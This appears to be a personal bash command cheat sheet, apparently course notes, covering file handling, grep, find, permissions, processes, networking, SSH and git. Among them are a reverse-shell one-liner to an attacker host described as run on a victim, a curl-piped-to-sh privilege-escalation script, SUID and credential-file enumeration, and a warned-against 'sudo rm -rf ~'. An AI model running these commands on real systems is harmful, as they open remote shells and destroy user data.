~: Home$: Path end of Regular User Prompt#: Path end of Root User Prompt/: Root Directory..: Parent Directory./: Current Directory*: Wildcard (Matches any character or group of characters)*: can also mean all the files and folders of current directory<or0: standard input>or1: standard output&or2: standard error
~/Y_E_@_S_E_EN/CSE3032/Folder1$abc=7
echo "$abc"
7*: all files and folders in the current location
myfiles=(*)
echo "$myfiles"
echo "{myfiles[0]}"
echo "${myfiles[0]}"
#both stdout and stderr of the echo command are redirected to a file named output.txt. If there's an error, it will also be captured in the file.
echo "Hello, world!" >& output.txt
#This one-liner discards both stdout and stderr by redirecting them to /dev/null. It's useful when you want to suppress output.
command_that_might_produce_output >& /dev/null
#List the contents of the current directory, and if there are any errors,include them in the output,then display everything using cat.
#2>&1 means "redirect standard error to the same location as standard output."
#By default, when you run a command, stdout and stderr are separate. 2>&1 is used to merge them, so both regular output and error messages are directed to the same place.
ls 2>&1 | cat
#see the user name
whoami
# Clear terminal
clear
# Print current directory
pwd
# List files and folders
ls
# List all files and folders (including hidden ones)
ls -A
#list all files and directories in the current directory and its subdirectories
ls *
#List all of the files in the current directory and all of its subdirectories that end in ".txt"
ls */*txt
#This will output a comprehensive set of information about the file "myfile.txt."
stat abc.txt
#In string format, %U represents the username of the file owner.
stat --format "%U" abc.txt
#This would display a custom format with file name, size, owner, and group information.
stat --format "File: %n Size: %s bytes Owner: %U Group: %G" abc.txt
# Create a folder
mkdir Folder1
# Change directory
cd Folder1
# Move back to the parent directory
cd ..
# Create a folder with spaces
mkdir "child number three"
mkdir child\ number\ three
mkdir "my tree speaks as if I didn't"
mkdir a\'b
mkdir a\*b
mkdir a\\b
# Remove a directory
rmdir my
# Remove a file
rm abc.txt
#Multiple folder creation and deletion
mkdir a b c d e f g h i j
rmdir a b c d e f h g j i
#Recursively delete a folder and its children
rm -r childOfFolder1
#* == all files in a folder
cat *
ls *
#: Copies all files and folders in the current directory to the specified destination.
cp * destination_path
#Run multiple cmds in a single line: first ls will execute, then date
ls ; date
#Run "date" if "ls" is successful
ls && date
#Run "date" if "ls" is not successful: date will not execute
ls || date
#Run "date" if "lk" is not successful: date will execute as "lk" command is failed
lk || date# Open a text file in the nano editor
nano abc.txt
#If you want to write something, then type what you want to write at this step.
#Press ctrl+X
#Type 'y'
#Press 'Enter' Button
# Open a text file in the vim editor
vim newfile.txt
#follow vim's features
# Move a file
mv abc.txt LocationToMove
mv full_path_of_SOURCE_FILE full_path_where_to_move
# Rename a file
mv abc.txt superman.txt
# Copy a file
cp abc.txt LocationToMove
cp full_path_of_SOURCE_FILE full_path_where_to_move
# Display file content
cat superman.txt
# Display line numbers in a file
cat -n superman.txt
# Display end-of-line characters in a file
cat -e superman.txt
# Display both line numbers and end-of-line characters
cat -ne superman.txt
#get the type of file
file superman.txt
# Concatenate files
cat batman.txt superman.txt > batmanvssuperman.txt
# Append content to a file
cat wonderwoman.txt >> batmanvssuperman.txt
#put standard output of the "ls -A" command to file.txt
ls -A > file.txt
#append standard output of the "cat file2.txt" command to file.txt
cat file2.txt >> file.txt
#Discard stdout of ls command
ls > /dev/null
#pipelining: the output of "ls -A" will be the input to "wc -l" command
ls -A | wc -l
# Print lines 10 to 15 of a file
sed -n '10,15p' file1.txt
# Append lines 10 to 15 of file1.txt to file2.txt
sed -n '10,15p' file1.txt >> file2.txt
#extracting human-readable text from "data.txt" and searching for lines containing the exact string '==' in a case-insensitive manner
strings data.txt | grep -wi '=='
#decoding a Base64-encoded content from "data.txt" and revealing its original form
cat data.txt | base64 --decode
#Create Hex Dump from a File: This will display the hexadecimal representation along with ASCII characters of each byte in "data.txt."
xxd data.txt
#Create Hex Dump and Redirect to a File: Saves the hex dump of "data.txt" to a file named "hexdump.txt."
xxd data.txt > hexdump.txt
#Convert Hex Dump Back to Binary: Takes the hex dump from "hexdump.txt" and converts it back to binary, saving it as "original_data."
xxd -r hexdump.txt > original_data
#first create hexdump of abc.txt and feed it to xxd with -r option to print the orginal binary ouput
xxd abc.txt | xxd -r
#Hex Dump with Line Numbers: Displays hex dump with 8 bytes per line and includes line numbers.
xxd -c 8 data.txt
#Extracts the second field using a pipe (|) as the delimiter.
echo "name|age|gender" | cut -d '|' -f 2
#This extracts the first and third fields from a CSV file where commas (,) are the delimiters.
cut -d ',' -f 1,3 file.csv#Basic File Comparison:
diff file1.txt file2.txt
#Unified Diff Format: Provides a unified diff format, which is often easier to read and understand.
diff -u file1.txt file2.txt
#Recursive Directory Comparison:Compares files in "dir1" and "dir2" recursively.
diff -r dir1 dir2
#Ignores whitespace differences in the comparison.
diff -w file1.txt file2.txt
#Creates a patch file containing the differences between the two files.
diff -u file1.txt file2.txt > my_patch.patch
#taking the contents of "data.txt," sorting them, and then keeping only the unique lines.
cat data.txt | sort | uniq -u
#frequencies per line of a txt file
sort abc.txt | uniq -c
#In order to sort the output with the most frequent lines on top, you can do the following
sort abc.txt | uniq -c | sort -nr
#to get only duplicate lines, most frequent first:
sort abc.txt | uniq -cd | sort -nr
#Say, you have two files and you want to get the actual content of the common lines:
#-F treats the patterns as fixed strings, -x matches whole lines, and -f specifies the file with the patterns.
grep -Fxf <(sort abc.txt) <(sort def.txt)
#you can also use comm command to get the same output as well
comm -12 <(sort abc.txt) <(sort def.txt)# Count lines, words, characters, and bytes in a file
wc -lwmc filename
# Count lines, words, and characters in a file but using pipelining
cat filename | wc -lwmc
# Count lines, words, and characters in all files in the current directory
cat * | wc -lwmc#Get the files whose capabilities are set
getcap -r / 2>/dev/null
#find binary/source for command
whereis ls
#we want to search a file and want to avoid anything you haven't access to parts of the filesystem
find / -name "index.html" 2>/dev/null
find / -name "index.html" 2>&-
# Find files with a specific name
#here, . is for current directory * is for pattern matching
find . -type f -name abc.txt
find . -type f -name 'm*l.txt'
find . -type f -iname 'p*m*l.*'
# Delete all PDF files in a directory
find . -type f -name "*.pdf" -exec rm -f {} \;
#find: This command is used to search for files and directories in a directory hierarchy.
#.: Specifies the starting directory for the find command. In this case, it starts the search from the current directory.
#-type f: Specifies the type of the found items. In this case, it looks for regular files.
#-name "*.pdf": Filters the search based on the name of the files. Here, it's looking for files with names ending in ".pdf".
#-exec: Executes a command on the files found by find.
#rm -f {}: The command to be executed. It removes files forcefully (-f). {} is a placeholder for each file found by find, and it gets replaced by the actual file names.
#\;: Indicates the end of the -exec command. It needs to be terminated with a semicolon.
# Display the content of all text files
find . -type f -name "*.txt" -exec cat {} \; | wc -lw
#to know which file contains ASCII character that means human readable
find . -type f -exec file {} + | grep ASCII
#to extract many things
find . -type f -user bandit7 -group bandit6 -size 33c 2>/dev/null -exec file {} + | grep ASCII
#find non executable 1033bytes file and contains ASCII characters
find .
-type f
-size 1033c
-not -executable
2>/dev/null
-exec file {} +
| grep ASCII
#find files with the 777 permissions (files readable, writable, and executable by all users)
find / -type f -perm 0777
#find executable files
find / -perm a=x
#find all files under user under /home
find /home -user whoami
#files that were modified in the last 10 days
find / -mtime 10
#files that were accessed in the last 10 day
find / -atime 10
#files changed within the last hour (60 minutes)
find / -cmin -60
#files accesses within the last hour (60 minutes)
find / -amin -60
#This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.
find / -size +100M -type f 2>/dev/null
find / -size -100M -type f 2>/dev/null
#find world-writable folders
find / -perm -o w -type d 2>/dev/null
#find world-executable folders
find / -perm -o w -type d 2>/dev/null
find / -name gcc*
#Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.
find / -perm -u=s -type f 2>/dev/null
#The rg command is a fast, ripgrep line-oriented search tool that recursively searches your current directory for a regex pattern.
#You may need to install it
#Searches for the specified pattern in the file.txt file.
rg "pattern" file.txt
#Recursive Search in Current Directory:
rg "pattern"
#Case-Insensitive Search:
rg -i "pattern"
#Search for Whole Words Only:
rg -w "pattern"
#Search for Lines Not Matching a Pattern:
rg -v "pattern"
#Count the Number of Matches:
rg -c "pattern"
#Search for Files Containing the Pattern:
rg -l "pattern"
#Search for a Specific File Type with a pattern:
rg --type md "pattern"
#Search for Multiple Patterns (OR): Searches for lines containing either pattern1 or pattern2.
rg "pattern1|pattern2"
#Search for Multiple Patterns (AND): Searches for lines containing both pattern1 and pattern2.
rg -e "pattern1" -e "pattern2"
#Exclude Files or Directories: Excludes files listed in skip.txt and the directory named exclude_folder from the search.
rg "pattern" --ignore-file=skip.txt --ignore-dir=exclude_folder
#-o == only matched part will be portrayed
#-i == case insensetive
#-w == only for matched WORD
# Grep command with options
grep -oi 'c' batman.txt | wc -w
grep -owi 'man' batman.txt | wc -w
# Grep with head and tail
head -n 3 superman.txt | grep -o 'o' | wc -w
tail -n 3 superman.txt | grep -o 'o' | wc -w
# Combined Grep
{ grep -ow 'ASUS' batman.txt && grep -owi 'ASUS' superman.txt } | wc -w
#Q0. Find the number of the occurences of 'man' in the first seven lines of the superman.txt file.
head -n 7 superman.txt | grep -o 'man' | wc -l
#Q1. Write a command line that can print the frequencies of a string that starts with ‘p’ and ends with ‘t’ in the last 20 lines of abc.txt file and the first seven
lines of pqr.txt file. [Use regex]
{ tail -n 20 abc.txt | grep -oi 'p*t' && head -n 7 superman.txt | grep -o 'p*t'} | wc -w
# Count occurrences in the first seven lines
head -n 7 superman.txt | grep -o 'man' | wc -l
# Change file permissions
#Permission:: r = read; w = write; x = execute
#Owner's Permission group's permission random users' permission
# Current: rwx rwx rwx
# 111 111 111
# After: -wx r-x ---
# 011 101 000
chmod 350 filename
# After: rwx r-x ---
# 111 101 000
chmod 750 filename
#recursively change on all subdirectories as well
chmod -R 744 folderName
#to give all permission
chmod +x script.sh
#Grants read (r) and write (w) permissions to the owner (u) of the directory.
chmod -R u+rw folder
#Remove read write and execute bits for "other" and "group" on all files in folder
chmod -R og-rwx
# Give other and group the same rights as user, but removing writing rights.
chmod -R og=u-w folder
#Sticky Bit (t): When the sticky bit is set on a directory, only the owner of a file within that directory can delete or rename the file. It's commonly used on directories like /tmp to prevent users from deleting or modifying each other's files.
#Represented by a lowercase "t" in the "others" permission of the directory.
chmod +t directory
#setting the sticky bit on a directory for others (everyone else, not the owner).after running this command, the sticky bit will be set for others on the specified directory.
chmod o+t folder
#Setuid (s) and Setgid (s) Bits:
#Setuid (s) and setgid (s) are special permissions that can be set on executable files.
#Setuid: When set on an executable file, it runs with the privileges of the file owner.
#Setgid: When set on an executable file, it runs with the privileges of the group owner of the file.
#Represented by an uppercase "S" (if the corresponding execute bit is not set) or "s" (if the execute bit is set).
chmod u+s executable_file # Setuid
chmod g+s executable_file # Setgid#View all running processes
ps -A
#View process tree (see the tree formation until ps axjf is run below)
ps axjf
#Display information about active processes.
ps -ef
#Display detailed information about all processes.
ps aux
#Display processes owned by the current user
ps -u whoami
# Count instances of 'Google Chrome' processes
pgrep 'chrome' | wc -w
#List process IDs based on the current user name.
pgrep -u whoami
#Kill process with name java
pkill -f "java"
#Kill all processes with names beginning java
killall "java"#Terminate a process by its process ID.
kill 1234
#Terminate all processes with a specific name.
killall firefox
#Signal processes based on their name.
pkill chrome
#Display and update sorted information about system processes.
top
#An interactive process viewer.
htop
#Forcefully terminate a process with a proces ID.
kill -9 5678
#Forcefully terminate a series of process of cxgo
ps aux | grep cxgo | grep -v grep | awk '{print $2}' | xargs kill -9#Display disk space usage of file systems.
df -h
# Display disk usage of files and directories.
du -h#o schedule a job using command lines in Unix-like systems (including Linux), you can use the cron service. cron is a time-based job scheduler in Unix-like operating systems.
#Use the following command to open the crontab editor:
crontab -e
#The general syntax for a cron job is as follows:
* * * * * command_to_be_executed
#Each * represents a time unit, and the five *'s correspond to minutes, hours, days of the month, months, and days of the week, respectively.
#the following cron job runs the command /path/to/your/command every day at 2:30 AM:
30 2 * * * /path/to/your/command
#30: Minutes (0-59)
#2: Hours (0-23)
#*: Every day of the month (1-31)
#*: Every month (1-12)
#*: Every day of the week (0-6, where Sunday is 0)
#Save and Exit like nano or vim editor
#View Scheduled Jobs
crontab -l
#The following rsync backup command will run every 10 minutes
*/10 * * * * rsync -a -delete -e ssh [email protected]:/home/webgoat /opt/backup
#this command will run every two hours
* */2 * * * command
#To check what the jobs are run from syslog
cat /var/log/syslog | grep CRON#Temporary alias for 'ls'
alias what=ls
#what command will print the list of files and folders of the current directory
what
#For permanent change, append the alias to .bashrc or .zshrc file
echo "alias what=ls" >> ~/.bashrc# Basic find and replace
sed 's/unix/linux/' geekfile.txt
#Here the “s” specifies the substitution operation. The “/” are delimiters. The “unix” is the search pattern and the “linux” is the replacement string.
#By default, the sed command replaces the first occurrence of the pattern in each line and it won’t replace the second, third…occurrence in the line.
# Replace second occurrence
sed 's/unix/linux/2' geekfile.txt
# Global replacement
sed 's/unix/linux/g' geekfile.txt
# Replace on a specific line number
sed '3 s/unix/linux/' geekfile.txt
#Replacing string on a range of lines :
sed '1,3 s/unix/linux/' geekfile.txt
#Here $ indicates the last line in the file.
sed '2,$ s/unix/linux/' geekfile.txt# Delete a specific line
sed '5d' filename.txt
# Delete the last line
sed '$d' filename.txt
# Delete lines in a range
sed '3,6d' filename.txt
# Delete from nth to last line
sed '12,$d' filename.txt
# Delete pattern matching line
sed '/abc/d' filename.txt#Check whether you have any network connection
ping 8.8.8.8
ip addr
ip a
ip link
ip addr show eth0
#This command will display the routing table, which includes information about how network traffic is directed.
ip route
#This command will show the MAC address of your Ethernet interface.
ip link show eth0
#This command will provide detailed information about the specified Ethernet interface, including IP addresses, MAC address, DNS servers, and more.
nmcli device show eth0
#This command adds a default route to the system's routing table. A default route is used when there is no specific route for a destination IP address. In this case, any traffic that doesn't match a more specific route will be directed to the next hop specified by the IP address 192.168.56.10.
sudo ip route add default via 192.168.56.10#This command will show the DNS server(s) configured on your system.
cat /etc/resolv.conf
# The basic syntax is `dig @nameserver hostname`
#Resolveing ip address of a host server manually
#Step 1:Start querting to one of the root name servers for a hostname. It will give you some Top Level Domain name server
dig @a.root-servers.net www.flux.utah.edu
#Step 2:DO the same with one of the TLD servers to get some Authoritative Servers
dig @c.edu-servers.net www.flux.utah.edu A
#Step 3:Do the same with one of the authoritative servers to get the actual IP adddress along with aliases if any
dig @ns2.flux.utah.edu www.flux.utah.edu A
#Use DNS (Domain Name System) server configured in your machine to resolve the domain name to an IP address
#Go through the ANSWER section and the last part
dig -4 www.utah.edu
#Get the mail exchange server of a host, priority of the mail server, and the ip of the mail server
dig -4 www.utah.edu MX#For Linux
#Say, wlan0 is down
sudo ifconfig wlan0 up
nmcli radio wifi
#if diseabled
nmacli radio wifi on
nmcli dev wifi list
#Or
sudo iw wlan0 scan | grep SSID
sudo nmcli --ask dev wifi connect <SSID>
ping www.google.com
#lists all the available interfaces.
nmcli con show
nmcli con show --activeThe lshw command is a hardware information tool available on Linux systems. When used with the -C flag followed by a specific class (in this case, network), it provides detailed information about the network hardware on your system.
lshw -C network
#lshw: This is the main command for listing hardware information.
#-C network: The -C flag specifies the class of hardware you want information about, and in this case, it's set to network.
sudo ifup <logical_name_of_interface>
sudo ifdown <logical_name_of_interface>#Basic Chat application:
#- `l`: Listen mode, for inbound connections.
#- `p` 1234: Specifies the port to listen on (replace 1234 with your desired port).
#- `v`: verbose mode, i.e., Display more information about the connection.
#server(localhost) is listening at 1234
nc -lvp 1234
#Client from another tab connects to the loacthost server at 1234
nc localhost 1234#Connects from CLIENT to the host at IP address 10.0.2.5 on port 1234.
nc 10.0.2.5 1234
#Listens on port 1234 and saves the received data to a file named received_file.txt.
nc -l -p 1234 > received_file.txt
#Connects to the host at IP address 10.0.2.5 on port 1234 and sends the contents of file_to_send.txt.
nc 10.0.2.5 1234 < file_to_send.txt#Say attacker is listening at 1234
nc -lvp 1234
#the following one-liner has to executed from the victim's machine
#it could be done if the victim is running any unpatched version software that can execute shell command
bash -i >& /dev/tcp/[attacker IP]/[attacker port] 0>&1
#bash -i: This starts an interactive Bash shell.
#>&: This is a redirection operator that combines the standard output (stdout) and standard error (stderr).
#/dev/tcp/[attacker IP]/[attacker port]: This part is using Bash's built-in functionality to create a TCP connection to the specified IP address and port. It essentially connects the shell to a remote machine.
#0>&1: This redirects the input (stdin) to the combined stdout and stderr, completing the connection.#This command downloads a file from the specified URL (https://example.com/file.txt) and saves it with the same name locally.
curl -O https://example.com/file.txt
#The --progress-bar option displays a progress bar during the download.
curl -O https://example.com/largefile.zip --progress-bar
#Sending Data with a POST Request:This sends a POST request to the specified URL (https://example.com/api) with the specified data.
curl -X POST -d "param1=value1¶m2=value2" https://example.com/api
#Sending JSON Data in a POST Request:This example sends a POST request with JSON data to an API.
curl -X POST -H "Content-Type: application/json" -d '{"key": "value"}' https://example.com/api
#Uploading a File:This uploads a local file (localfile.txt) to an FTP server.
curl -T localfile.txt ftp://ftp.example.com/upload/
# Authenticating with Basic Auth:
curl -u username:password https://example.com/api
#Displaying HTTP Headers:The -I option fetches the headers only, without downloading the body content.
curl -I https://yeaseen.github.io
#This command is effectively saying: "Download the file from the specified URL (https://example.com), follow any redirects (-L), and save it locally with the same name as the remote file (-O). Additionally, download the entire content of the file (-r with no specified range).
curl -O -L -r https://example.com
#, displays active network connections on your system, focusing on listening (-l), port number(-n), TCP (-t) and UDP (-u) connections. Handy for checking what ports are in use and who's knocking on your network door.
netstat -lntu
#-l: list ports listening and -t for tcp listeners
netstat -lt
#list network usage statistics by protocol (below) This can also be used with the -t or -u options to limit the output to a specific protocol.
netstat -s
#statustics for tcp protocol channels
netstat -st
#list connections with the service name and PID information.
netstat -tp
#Shows interface statistics
netstat -i
#-a:Dsiplay all sockets; -n:Don't resolve names; -o:Display timers
netstat -ano#Basic Scan: Performs a basic scan on the specified target IP address.
nmap target_ip
#cans only the specified ports (80 and 443 in this case) on the target IP.
nmap -p 80,443 target_ip
#Service Version Detection: Attempts to detect service versions running on open ports.
nmap -sV target_ip
#Tries to identify the operating system of the target.
nmap -O target_ip
#Scans multiple targets.
nmap target1_ip target2_ip
#you're scanning ports 31000 to 32000 on your own machine
nmap -p 31000-32000 localhost
#Excludes a specific IP address from the scan.
nmap target_ip --exclude excluded_ip#To extract tar.gz archive. -x: Extract files from an archive. -z: Decompress the archive using gzip. -v: Verbose mode, showing the files being extracted. -f: Specify the archive file name.
tar -xvzf archive.tar.gz
#To extract tar.bz2 archive
tar -xvjf archive.tar.bz2
#To extract tar archive
tar -xvf archive.tar
#To create archive; -c: Create a new archive. -z: Compress the archive using gzip. -v: Verbose mode, showing the files being archived.-f: Specify the archive file name.
tar -cvzf archive.tar.gz /file_or_folder/to/archive
#This command creates a zip file named archive.zip containing file1.txt, file2.txt, and the contents of the folder/ directory.
zip archive.zip file1.txt file2.txt folder/
#This command extracts the contents of archive.zip into the current directory.
unzip archive.zip
#This will extract the contents of archive.zip into the specified destination directory.
unzip archive.zip -d /path/to/destination/#Will print system information giving us additional detail about the kernel used by the system
uname -a
#The following command to view the amount of free and used memory in the system
free -h
#For specific information related to all levels of cache memory
lscpu | grep -i cache
#The lscpu command in Linux displays information about the CPU architecture. It gathers CPU architecture information from sysfs and /proc/cpuinfo.
lscpu
#This command displays the content of the /etc/os-release file, which includes human-readable operating system identification data.
cat /etc/os-release
#The proc filesystem (procfs) provides information about the target system processes
cat /proc/version
#info about OS
cat /etc/issue
#The sudo -l command can be used to list all commands your user can run using sudo.
sudo -l
#The id command will provide a general overview of the user’s privilege level and group memberships.
id
#Reading the /etc/passwd file can be an easy way to discover users on the system.
cat /etc/passwd
#just print all user names as well system or service users
cat /etc/passwd | cut -d ":" -f 1
#print the second column of a csv file
cut -d',' -f2 <file_name>.csv
#to get the user names only as oftentimes, they will be under home directory
cat /etc/passwd | grep home | cut -d ":" -f 1
#show system date time
date
#to get current date and time: 2023-11-11_11-11-27
echo $(date +'%Y-%m-%d_%H-%M-%S')
#show uptime
uptime
#Show mounted file system
mount
#After running following command, the files and directories on the device /dev/sdb1 will be accessible under the /mnt/mydisk directory.
sudo mount /dev/sdb1 /mnt/mydisk
#to print all the prev commands from bash history file
history
#run a prev command from histrory
!<the line_number_of_command_from_history_command>
#Show environment variables
env
sudo reboot
sudo shutdown -h now
sudo poweroff
logout
#bash one-liner
#Renames all files with the .jpg extension by adding a prefix.
for file in *.jpg; do mv "$file" "newprefix_$file"; done#Start the HTTP server on the machine with the file you want to share:
#Open host/server terminal, navigate to the directory containing the file, and run:
python3 -m http.server 80
#From client terminal:
wget http://<SERVER_IP>/<file_name>
#Or
#Access the server from another machine:
#Open a web browser on the second machine and enter the IP address or hostname of the first machine, followed by the port number.
http://<SERVER_IP>:80#updating soon#Connecting to a remote/another machine
ssh -p <PORT> username@ip_addr
#Or
ssh -p <PORT> username@hostname
#Set-up client for SSH-ing to host
#Step-1: Generate a public-private key pair
mkdir ~/.ssh
cd .ssh
ssh-keygen -t rsa -b 4096 -o -a 100
chmod 600 *
#Step-2: Copy your public key to host's ~/.ssh/authorized_keys file
#The following command connects to the specified remote host as the specified user
#Put the user's password on the remote host PC
ssh-copy-id <username>@<hostname>
#-->How to modify default SSH port 22 to something new: change in SSH configuration file
nano /etc/ssh/sshd_config
#Look for the line that starts with Port. It will specify the port number that SSH is configured to use.
#Change it by replacing 22 with your NEW_PORT and restart ssh service
Port <NEW_PORT>
service ssh restart#copy file(s) from the host to your client (note the capital -P)
scp -P <PORT> username@host_ip_addr:path_to_src local_dest
#copy file(s) from your client to the host (note the capital -P)
scp -P <PORT> local_src username@host_ip_addr:path_to_dest#Check Current Rules:
iptables -L
#Flush all Rules, effectively turning off the firewall
iptables -F
#Allow Incoming SSH (replace 22 with your SSH port if it's different): ssh config file located at /etc/ssh/sshd_config
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
#Allow Incoming HTTP (port 80):
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
#Allow all Outgoing Connections:
iptables -A OUTPUT -j ACCEPT
#Deny All Incoming Traffic:
iptables -A INPUT -j DROP
#Save them so they persist after a reboot
service iptables save
#Start/Stop/Restart Firewall:
service iptables start
service iptables stop
service iptables restart#Screen the machine automatically by LinPEAS - Linux Privilege Escalation Awesome Script
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh# Navigate to your project directory
cd Desktop/my_python_project
#Create a virtual environment
python3 -m venv <env_name>
# Activate the virtual environment
source <env_name>/bin/activate
#If you want to install a package only for this
pip install hypothesis
#check what the current packges are under thin env
pip list
#create python script and edit in vim
vim script.py
# Run your Python script
python3 script.py
# Deactivate the virtual environment
deactivateSetup git locally. Open an account on GitHub. And set GitHub username and email locally.
#Displays the state of the working directory and the staging area. It shows which changes have been staged, which haven't, and which files aren't being tracked by Git.
git status
#Just press 'q' to quit the prcoess of the following commands
#To retrieve all the commit hashes with details in a Git repository, you can use:
git log
##To retrieve only all the commit hashes in a Git repository, you can use:
git log --pretty=format:"%H"
#You can make changes. And You can see the differences
git diff <file_name>
git diff <commitHash1> <commitHash2> -- README.md
git diff <branch1> <branch2>
#Lists all the branches in your repository
git branch
#Adding a branch name after git branch creates a new branch.
git branch <new_branch_name>
#Creates a new branch and swithces to that new branch
git checkout -b <new_branch_name>
#if you want to create a new branch based on an existing branch such as `dev`
git checkout -b <new_branch_name> dev
#running git tag lists all the tags in the repository
git tag
#create simple tag( like pointer or bookmark to a specific commit)
git tag <tagname>
#Delete a tag
git tag -d <tagname>
#Tags are not automatically pushed to a remote server with git push
git push origin <tagname> #one tage
#Or
git push --tags #all tags
#To see the most recent commit:
git show HEAD
#Use --stat to get a summary of the changes (how many lines were added/removed) without the full diff
git show --stat <commitHash>#Initialize a new Git local repo && Add the remote GitHub repository:
git init
git remote add origin https://github.com/username/repository.git
#Or
#Create a copy of an existing GitHub repository, i.e., download a repository from an existing URL.
git clone [git_url]
#Do your work. You can see the differences
#Now Stage all the changes or a specific file
#This stages all changes in the entire repository, regardless of the current directory.
git add -A
#If you want to revert this stage:
git reset
#Commit your Staged
git commit -m "your_message"
#If you want to undo the commit but keep all changes staged, you can use a 'soft' reset.
git reset --soft HEAD~1
#Mixed reset: If you want to undo the commit and unstage the changes (return them to your working directory):
git reset --mixed HEAD~1
#If you want to undo the commit and completely remove all changes:
git reset --hard HEAD~1
#Push the commit to a remote GitHub server
git push -u origin <branch_name>#After all these, DO NOT EVER TRY TO RUN THIS.
sudo rm -rf ~